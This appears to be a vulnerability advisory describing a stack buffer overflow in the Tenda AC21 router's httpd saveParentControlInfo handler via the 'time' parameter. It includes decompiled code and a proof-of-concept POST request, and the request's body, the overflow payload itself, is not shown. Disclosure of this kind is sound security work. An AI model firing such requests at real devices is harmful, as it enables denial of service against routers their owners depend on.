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# Tenda AC21(V16.03.08.15) contains stack Buffer Overflow Vulnerability

## overview

- Manufacturer's website information: <https://www.tenda.com.cn/>
- Firmware download address: <https://www.tenda.com.cn/download/detail-3419.html>

## product information

Tenda A21(V16.03.08.15), latest version of simulation overview:

AC21 升级软件 V16.03.08.15[↓ 立即下载](#)

关联产品: AC21 更新日期: 2022/7/4

## AC21V1.0升级说明

硬件版本: V1.0

软件版本: V16.03.08.15

注意事项:

## description

### 1. Vulnerability Details

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file `/bin/httpd`, function `saveParentControlInfo`.

This vulnerability allows attackers to cause a Denial of Service (DoS) via the `time` parameter.

In function `saveParentControlInfo`, it calls `compare_parentcontrol_time(a1)`, the vulnerability is in this function.

```
7  memset(v10, 0, sizeof(v10));
3  v11 = 0;
9  v5 = (const char *)websGetVar(a1, "deviceId", &unk_4D999C);
9  v4 = (const char *)websGetVar(a1, "deviceName", &unk_4D999C);
1  if ( *v4 )
2      set_device_name(v4, v5);
3  result = compare_parentcontrol_time(a1);
4  if ( !result )
5  {
```

It calls `sscanf(s, "%[^-]-%s", v3, v4)` and `v4` is on the stack, so there is a buffer overflow vulnerability.

```

s = (char *)websGetVar(a1, "time", &unk_4D999C);
if ( *s )
{
    v3[0] = 0;
    v3[1] = 0;
    v3[2] = 0;
    v3[3] = 0;
    v3[4] = 0;
    v3[5] = 0;
    v3[6] = 0;
    v3[7] = 0;
    v4[0] = 0;
    v4[1] = 0;
    v4[2] = 0;
    v4[3] = 0;
    v4[4] = 0;
    v4[5] = 0;
    v4[6] = 0;
    v4[7] = 0;
    sscanf(s, "%[^-]-%s", v3, v4);
    if ( !strcmp((const char *)v3, (const char *)v4) )
    {
        websWrite(

```

## 2. Recurring loopholes and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```

POST /goform/saveParentControlInfo HTTP/1.1
Host: 192.168.0.1
Content-Length: 137
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: password=25d55ad283aa400af464c76d713c07adwfrcvb
Connection: close

```

